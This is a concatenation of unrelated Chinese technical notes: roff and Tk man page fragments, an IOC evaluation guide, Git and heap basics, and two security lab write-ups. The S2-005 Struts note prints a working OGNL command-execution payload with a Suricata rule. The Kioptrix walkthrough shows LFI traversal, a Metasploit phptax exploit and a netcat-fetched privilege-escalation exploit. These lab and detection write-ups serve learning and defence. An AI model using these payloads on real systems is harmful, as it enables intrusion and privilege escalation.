这样的短语可以很容易地 识别,因为其中的“点”后面没有换行. .Text . (在输出时,它们仍会在同一段中.) .Text . (译注:如果使用中文的标点“。”就不用考虑这些, 但是每句话后面换行总是个好主意。少用 `.' 为妙) .fi . .P 除了 Emacs,其他一些编辑器也提供了 nroff 格式文件的支持,例如 .BR vim (1), 它是 .BR vi (1) 程序的扩展 . . .\" -------------------------------------------------------------------- .SH BUGS .\" -------------------------------------------------------------------- . .I UNIX\[rg] 是 Open Group 的注册商标。 . 但是在 Caldera 在 2001 年收购 SCO UNIX 之后,事情发生了极大的好转 . .P (译注:为什么 2003 年 SCO 又会成为 M$ 的走狗呢?) . . .\" -------------------------------------------------------------------- .SH "参见 SEE ALSO" .\" -------------------------------------------------------------------- . 有大量的讲述 roff 的文档。 . 讲述传统 troff 的原始文档仍可获得,groff 的所有方面也都详细地记录在文档中 . . .\" -------------------------------------------------------------------- .SS "Internet sites" .\" -------------------------------------------------------------------- . .TP troff.org .URL http://\:www.troff.org "“历史上的 troff”" 提供了 roff 所有历史方面的概述和指引。 . 这个网站仍在建设;但是,它将成为 roff 历史的主要来源 . .TP Multics .URL http://\:www.multicians.org "“Multics 的官方站点”" 包含很多 MIT 的项目的信息,CTSS,Multics,早期的 Unix,还包括 .IR runoff ; 尤其有用的是一个术语字典,还有很多到古老的文档的链接 . .TP Unix Archive .URL http://\:www.tuhs.org/\:Archive/ \ "“古老的 Unix 的档案馆”" . 提供了古老的 Unix 的源码和一些二进制文件 (包括 troff 的源码和它的文档),它们 是 Caldera 自 2001 年以来公开的,例如著名的 Unix 版本\~7 的 PDP-11 平台版本位置是 .URL http://\:www.tuhs.org/\:Archive/\:PDP-11/\:Trees/\:V7 \ "Unix V7 site" . . .TP Developers at AT&T Bell Labs .URL http://\:cm.bell-labs.com/\:cm/\:index.html \ "“贝尔实验室计算和数学科学研究所”" . 提供了搜索早期开发者信息的功能 . .TP Plan 9 .URL http://\:plan9.bell-labs.com "“Plan\~9 操作系统”" . AT&T Bell Labs 贝尔实验室的作品 . .TP runoff .URL http://web.mit.edu/\:Saltzer/\:www/\:publications/\:pubs.html \ "“Jerry Saltzer 的主页”" . 保存了古老的 runoff 排版语言写成的一些文档 . .TP CSTR Papers .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:cstr.html \ "“贝尔实验室 CSTR 网站”" . 保存了原始的 troff 手册 (CSTR #54, #97, #114, #116, #122) 还有著名的有关编程的历史文档 . .TP GNU roff .URL http://\:www.gnu.org/\:software/\:groff "“groff 的官方网站”" 提供了 自由的 roff 实现:groff,并且它是 roff 的事实标准 . . .\" -------------------------------------------------------------------- .SS "历史文档 Historical roff Documentation" .\" -------------------------------------------------------------------- . 很多 .troff 历史文档仍然可以在线获得。 . troff 语言主要的两部手册是 . .TP [CSTR\~#54] J. F. Osanna, .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:54.ps \ "\fINroff/\:Troff User's Manual\fP" ; . (《用户手册》) Bell Labs, 1976; revised by Brian Kernighan, 1992. . .TP [CSTR\~#97] Brian Kernighan, .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:97.ps \ "\fIA Typesetter-independent TROFF\fP" , . (《设备无关的 troff》) Bell Labs, 1981, revised March 1982. . .P 将 roff 作为一种“小语言”("little language") 来讲述的论文有 . .TP [CSTR\~#114] Jon L. Bentley and Brian W. Kernighan, .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:114.ps \ "\fIGRAP \(em A Language for Typesetting Graphs\fP" ; . (《grap: 一种图形排版语言》) Bell Labs, August 1984. . .TP [CSTR\~#116] Brian W. Kernighan, .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:116.ps \ "\fIPIC -- A Graphics Language for Typesetting\fP" ; . (《pic: 一种排版用的图形控制语言》) Bell Labs, December 1984. . .TP [CSTR\~#122] J. L. Bentley, L. W. Jelinski, and B. W. Kernighan, .URL http://\:cm.bell-labs.com/\:cm/\:cs/\:122.ps \ "\fICHEM \(em A Program for Typesetting Chemical Structure Diagrams, \ Computers and Chemistry\fP" ; . (《chem: 排版化学结构图的程序,计算机与化学》) Bell Labs, April 1986. . . .\" -------------------------------------------------------------------- .SS "手册页 Manual Pages" .\" -------------------------------------------------------------------- . 由于它结构复杂,完整的 roff 系统包含很多很多手册页, 每一个都描述了 roff 的一个方面。 . 不幸的是,不同的 roff 实现之间,它们的手册没有相同的命名格式 . .P 在 .IR groff 中,手册页 .BR groff (1) 包含了 groff 相关的所有文档的索引 . .P 其他系统中,你需要自己探索,但是 .BR troff (1) 是个很好的起点 . . .\" -------------------------------------------------------------------- .SH "作者 AUTHORS" .\" -------------------------------------------------------------------- . Copyright (C) 2000, 2001, 2002 Free Software Foundation, Inc. . .P This document is distributed under the terms of the FDL (GNU Free Documentation License) version 1.1 or later. . You should have received a copy of the FDL on your system, it is also available on-line at the .URL http://\:www.gnu.org/\:copyleft/\:fdl.html "GNU copyleft site" . . .P 此文档是 .IR groff , GNU roff 套件的一部分。 . 它的作者是 .MTO bwarken@mayn.de "Bernd Warken" ; 它的管理者是 .MTO wl@gnu.org "Werner Lemberg". . . .SH "[中文版维护人]" .B bbbush <bbbush@163.com> .SH "[中文版最新更新]" .B 2003.11.28 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net . .\" -------------------------------------------------------------------- .\" Emacs setup .\" -------------------------------------------------------------------- . .\" Local Variables: .\" mode: nroff .\" End:
sec-knowleage
# 如何评估威胁情报? 情报本质上是高纬度的信息,对于信息/数据的评价,一般可以分为:完整性、一致性、准确性和及时性。相关的权威标准可以参考:数据质量评价指标(GB/T36344-2018 ICS 35.24.01),里面进一步划分了各项指标。但本篇不从高屋建瓴的方法论入手,而是直接关注于实际的威胁情报使用场景,具体来说是威胁情报中IOC类型的使用。 那么对于威胁情报本身来说,是否有一套结合业界实际使用场景的评估方法呢?有,可以参考[360Netlab的域名IOC评估方法](https://assess-ioc.netlab.360.com/method)。 对于IOC实际使用方来说,单纯堆量是没有意义的。整体需要关注的方面包括: - IOC数据量大小 - 命中数量/比例 - 活跃/存活的IOC数量 - 误报情况(准确率) - 漏报情况(召回率) - 更新频率 - 更新数据是否稳定 - 更新中新增数量 - 更新中的淘汰数量 - ...... ## 静态评估项 | 指标 | 含义 | 计算方法 | 结果说明 | 备注 | | ---------------- | ------------------------------ | ------------------------------------------------------------ | ------------------------------------------ | ------------------------------------------------ | | IOC_num | IOC记录数量 | | 越大越好 | | | DGA _ratio | DGA 域名在整个 IOC 中的占比 | | 越小越好,但为0时则也可认为没有DGA检测能力 | | | IOC_soundness | IO是否符合标准 | | 此项须为 0,任何非0值,说明IOC不合规 | 合规IOC的判断依据待后面补充 | | IOC_family_num | IOC 信息中的不同家族个数 | | 越大越好 | | | IOC_family_distr | IOC 在不同家族之间分布的均衡性 | IOC_family_distr = TOP5家族的 IOC 个数/IOC_num | 越小越好 | | | whitelist_ratio | IOC在白名单中的占比 | Whitelist_ratio = IOC命中白名单的个数/IOC_num | 任意非0值表示可能存在一定程度的误报 | 白名单包括:公共DNS服务、Alexa/SecRank Top域名等 | | IOC_fields | 每条IOC数据字段的丰富性 | 建议 IOC 包含项: 创建时间、过期时间、IOC、严重等级、可信程度、家族信息、威胁类型、IOC来源 | 越多越好 | | | IOC_update | IOC更新情况 | 更新频率;每日更新数量 | 填写具体的更新频次和每日更 新数量 | | | IOC_overlay | IOC重合程度 | 不同数据源/供应商的IOC重合情况 | 此项无标准参考值,根据实际情况评估 | | | Match_method | IOC匹配所用的运算逻辑 | 建议填写项:全匹配、部分匹配(e.g. 二级域、C段)、正则匹配、其他(需说明) | 此项无标准参考值,根据实际情况评估 | | ## 动态评估项 | 指标 | 含义 | 计算方法 | 结果说明 | 备注 | | ------------------- | ---------------------------------------- | ------------------------------------------------------------ | ----------------------------------- | ------------------------------------------------------------ | | Hit_all_req_num | | | 越大越好 | | | Hit_valid_req_num | | | | | | Hit_valid_ratio | 有效命中率 | | | | | Hit_IOCs_ratio | 在测试期间命中的 IOC 占总 IOC 数量的比例 | `Hit_IOCs_ratio= Hit_IOC_num/IOC_num` | 越大越好 | | | top95%_IOCs_ratio | 测试期Top95%的IOC 数量占总命中IOC的数量 | `top95%_IOCs_ratio = Hit_95%_IOC_num/Hit_IOC_num` | 越小越好 | | | top95%_family_distr | 命中Top95% 的IOC的家族分布均衡性 | `Top95%_family_distr=TOP95%命中的 IOC中TOP5家族的个数/Hit_top95%_IOC_num` | 任意非0值表示可能存在一定程度的误报 | 白名单包括:公共DNS服务、Alexa/SecRank Top域名等 | | top95%_servity | 命中 Top95% IOC 的风险等级分布 | | 此项无标准参考值,根据实际情况评估 | 风险等级分布可以看出命中 IOC 的严重程度分布情况。对 IOC 是否适用本网络有个大致的评估。 | | top95%_overlay | 命中Top95% IOC的不同供应商的重合度 | 更新频率;每日更新数量 | 此项无标准参考值,根据实际情况评估 | |
sec-knowleage
# T1190-CVE-2010-1870-S2-005远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。 影响版本:2.0.0 - 2.1.8.1 ## 检测日志 HTTP ## 测试复现 Burp抓包,修改参数 ```yml ?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 ``` ## 测试留痕 ```yml GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/yun%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: 192.168.60.131:8080 Pragma: no-cache Cache-Control: no-cache DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.60.131:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22wtmbqwF8evsRAFy6MdC8Og%3D%3D%22%2C%22mac%22%3A%22f9971a0e2275abe89b4ef530bd3450014d701d5d%22%2C%22payload%22%3A%22O%5C%2FIN3WNFI3c21DrYtH7Pug%3D%3D%22%7D; PHPSESSID=57bf9020b21df668496392730ae25830; JSESSIONID=A399DB5AC14D038F86DAD2623E09D1E7 Connection: close HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Length: 416 Date: Thu, 22 Oct 2020 01:33:35 GMT Connection: close <html> <head> <title>Struts is up and running ...</title> </head> <body> <h2>Struts is up and running ...</h2> <h3>Languages</h3> <ul> <li> <a href="/example/HelloWorld.action?request_locale=en">English</a> </li> <li> <a href="/example/HelloWorld.action?request_locale=es">Espanol</a> </li> </ul> </body> </html> ``` ## 检测规则/思路 ### Suricata规则 ```s alert http any any -> any any (msg:"CVE-2010-1870-S2-005";flow:established,to_server;content:"GET";http_method;content:"/example/HelloWorld.action";pcre:"/allowStaticMethodAccess/";pcre:"/xwork.MethodAccessor.denyMethodExecution/";http_uri;reference:url,blog.csdn.net/weixin_43416469/article/details/113849099;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Struts2_005_RCE CVE-2010-1870漏洞复现 <https://blog.csdn.net/weixin_43416469/article/details/113849099> Apache Struts2远程代码执行漏洞检测与利用S2-005(CVE-2010-1870) <https://idc.wanyunshuju.com/aqld/1920.html>
sec-knowleage
# Kioptrix5-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/kioptrix-2014-5,62/ **Description** As usual, this vulnerable machine is targeted at the beginner. It's not meant for the seasoned pentester or security geek that's been at this sort of stuff for 10 years. Everyone needs a place to start and all I want to do is help in that regard. Also, before powering on the VM I suggest you remove the network card and re-add it. For some oddball reason it doesn't get its IP (well I do kinda know why but don't want to give any details away). So just add the VM to your virtualization software, remove and then add a network card. Set it to bridge mode and you should be good to go. This was created using ESX 5.0 and tested on Fusion, but shouldn't be much of a problem on other platforms. Kioptrix VM 2014 download 825Megs MD5 (kiop2014.tar.bz2) = 1f802308f7f9f52a7a0d973fbda22c0a SHA1 (kiop2014.tar.bz2) = 116eb311b91b28731855575a9157043666230432 Waist line 32" p.s.: Don't forget to read my disclaimer... Works out of the box with VMware workstation 10, player 6, fusion 6 (Can edit the vmx file to force a downgrade for an older version - see 'kiop2014_fix.zip'). Has been known to work with Virtualbox 4.3 or higher... First thing: try setting it to a x64 machine. Then check: http://download.vulnhub.com/kioptrix/kiop2014_fix.zip. **知识点** - LFI - 自定义 User-agent - phptax 漏洞利用 - freebsd 提权 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.147` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.147 ``` 一个 SSH,2个 web,从 web 先入手 看来都需要爆破目录了 ``` dirb http://192.168.141.147 dirb http://192.168.141.147:8080 ``` 啥都没有,再看看 index.html 有个 pChart2.1.3,访问看看 --- # 中期-漏洞利用 有点意思,找找它的漏洞 ``` searchsploit -w pChart ``` 访问 https://www.exploit-db.com/exploits/31173,发现有个目录遍历可以利用下 `http://192.168.141.147/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd` 尝试使用这个漏洞挖掘更多的信息 爆了半天,没爆出 httpd 配置文件,google 了一下发现别人爆出来是 `http://192.168.141.147/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf` 想不出来这个 apache22 是怎么爆出来的,难不成是看 apache 版本号? 看了下 httpd.conf 的内容,发现 8080 只允许 user-agent 为 Mozilla/4.0 Mozilla4_browser 才能访问 firefox 可以自定义 user-agent 访问 about:config,搜索 general.useragent.override 输入 `Mozilla/4.0 Mozilla4_browser`,再访问 192.168.141.147:8080 ok,有东西了,点进去看看 看起来这东西有一定年头了,搜了下这是个叫 phptax 的纳税工具,MSF 有个可利用的模块 ``` msfconsole use exploit/multi/http/phptax_exec options set RHOSTS 192.168.141.147 set RPORT 8080 run ``` 下面尝试提权 --- # 后期-漏洞利用 查看一些基本信息 ```bash /bin/sh -i uname -a ``` ``` searchsploit -w freebsd 9.0 ``` kali 访问 https://www.exploit-db.com/download/26368,下载 poc kali 下载完启 HTTP ```bash wget https://www.exploit-db.com/download/26368 mv 26368 poc.c nc -lvp 1234 < poc.c ``` 靶机下载 kali 上的 poc ```bash cd /tmp nc -nv 192.168.141.134 1234 > poc.c gcc poc.c ls ./a.out ``` 提权成功,感谢 Kioptrix Team 制作的系列靶机
sec-knowleage
'\" '\" Copyright (c) 1998-2000 by Scriptics Corporation. '\" All rights reserved. '\" '\" RCS: @(#) $Id: chooseDirectory.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: chooseDirectory.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_chooseDirectory 3tk 8.3 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_chooseDirectory \- 弹出让用户选择一个目录的一个对话框。 .PP .SH "总览 SYNOPSIS" \fBtk_chooseDirectory \fR?\fIoption value ...\fR? .BE .SH "描述 DESCRIPTION" .PP 过程 \fBtk_chooseDirectory\fR 弹出一个对话框让用户选择一个目录。下列的\fI选项-值\fR对是可能的命令行参数: .TP \fB\-initialdir\fR \fIdirname\fR 指定在对话框弹出的时候应当显示在 \fIdirectory\fR中的目录。如果未指定这个参数,则显示在当前工作目录中的目录。如果这个参数指定了一个相对路径,返回值将把这个相对路径转换成一个绝对路径。这个选项在 Macintosh 上不是总可以工作的。但这不是一个缺陷,而是在 Mac 上的 \fIGeneral Controls\fR 控制面板允许最终用户屏弃应用的缺省目录。 .TP \fB\-parent\fR \fIwindow\fR 使 \fIwindow\fR 成为这个对话框的逻辑父窗口。这个对话框显示在它的父窗口的顶上。 .TP \fB\-title\fR \fItitleString\fR 把一个字符串指定为这个对话框的标题。如果未指定这个选项,则显示一个缺省标题。 .TP \fB\-mustexist\fR \fIboolean\fR 指定用户是否可以指定不存在的目录。如果这个参数是真,则用户只能选择现存的目录。缺省为假。 .LP .SH "参见 SEE ALSO" tk_getOpenFile, tk_getSaveFile .SH "关键字 KEYWORDS" directory selection dialog .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/17 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
### 堆的实现概述 仔细想一下,任何堆的实现都需要从以下两个角度考虑相应的问题 - 宏观角度 - 创建堆 - 堆初始化 - 删除堆 - 微观角度 - 申请内存块 - 释放内存块 当然,这些都是比较高层面的想法,不同的堆的底层实现会有所不同。
sec-knowleage
# Git <!-- GFM-TOC --> * [Git](#git) * [集中式与分布式](#集中式与分布式) * [中心服务器](#中心服务器) * [工作流](#工作流) * [分支实现](#分支实现) * [冲突](#冲突) * [Fast forward](#fast-forward) * [储藏(Stashing)](#储藏stashing) * [SSH 传输设置](#ssh-传输设置) * [.gitignore 文件](#gitignore-文件) * [Git 命令一览](#git-命令一览) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 集中式与分布式 Git 属于分布式版本控制系统,而 SVN 属于集中式。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208200656794.png"/> </div><br> 集中式版本控制只有中心服务器拥有一份代码,而分布式版本控制每个人的电脑上就有一份完整的代码。 集中式版本控制有安全性问题,当中心服务器挂了所有人都没办法工作了。 集中式版本控制需要连网才能工作,如果网速过慢,那么提交一个文件会慢的无法让人忍受。而分布式版本控制不需要连网就能工作。 分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。 ## 中心服务器 中心服务器用来交换每个用户的修改,没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。 Github 就是一个中心服务器。 ## 工作流 新建一个仓库之后,当前目录就成为了工作区,工作区下有一个隐藏目录 .git,它属于 Git 的版本库。 Git 的版本库有一个称为 Stage 的暂存区以及最后的 History 版本库,History 存储所有分支信息,使用一个 HEAD 指针指向当前分支。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208195941661.png"/> </div><br> - git add files 把文件的修改添加到暂存区 - git commit 把暂存区的修改提交到当前分支,提交之后暂存区就被清空了 - git reset -- files 使用当前分支上的修改覆盖暂存区,用来撤销最后一次 git add files - git checkout -- files 使用暂存区的修改覆盖工作目录,用来撤销本地修改 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208200014395.png"/> </div><br> 可以跳过暂存区域直接从分支中取出修改,或者直接提交修改到分支中。 - git commit -a 直接把所有文件的修改添加到暂存区然后执行提交 - git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208200543923.png"/> </div><br> ## 分支实现 使用指针将每个提交连接成一条时间线,HEAD 指针指向当前分支指针。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203219927.png"/> </div><br> 新建分支是新建一个指针指向时间线的最后一个节点,并让 HEAD 指针指向新分支,表示新分支成为当前分支。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203142527.png"/> </div><br> 每次提交只会让当前分支指针向前移动,而其它分支指针不会移动。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203112400.png"/> </div><br> 合并分支也只需要改变指针即可。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203010540.png"/> </div><br> ## 冲突 当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203034705.png"/> </div><br> Git 会使用 \<\<\<\<\<\<\< ,======= ,\>\>\>\>\>\>\> 标记出不同分支的内容,只需要把不同分支中冲突部分修改成一样就能解决冲突。 ``` <<<<<<< HEAD Creating a new branch is quick & simple. ======= Creating a new branch is quick AND simple. >>>>>>> feature1 ``` ## Fast forward "快进式合并"(fast-farward merge),会直接将 master 分支指向合并的分支,这种模式下进行分支合并会丢失分支信息,也就不能在分支历史上看出分支信息。 可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式,并且加上 -m 参数让合并时产生一个新的 commit。 ``` $ git merge --no-ff -m "merge with no-ff" dev ``` <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208203639712.png"/> </div><br> ## 储藏(Stashing) 在一个分支上操作之后,如果还没有将修改提交到分支上,此时进行切换分支,那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。 可以使用 git stash 将当前分支的修改储藏起来,此时当前工作区的所有修改都会被存到栈中,也就是说当前工作区是干净的,没有任何未提交的修改。此时就可以安全的切换到其它分支上了。 ``` $ git stash Saved working directory and index state \ "WIP on master: 049d078 added the index file" HEAD is now at 049d078 added the index file (To restore them type "git stash apply") ``` 该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发,但是此时 master 上有个 bug 需要修复,但是 dev 分支上的开发还未完成,不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。 ## SSH 传输设置 Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。 如果工作区下没有 .ssh 目录,或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件,可以通过以下命令来创建 SSH Key: ``` $ ssh-keygen -t rsa -C "youremail@example.com" ``` 然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。 ## .gitignore 文件 忽略以下文件: - 操作系统自动生成的文件,比如缩略图; - 编译生成的中间文件,比如 Java 编译产生的 .class 文件; - 自己的敏感信息,比如存放口令的配置文件。 不需要全部自己编写,可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。 ## Git 命令一览 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7a29acce-f243-4914-9f00-f2988c528412.jpg" width=""> </div><br> 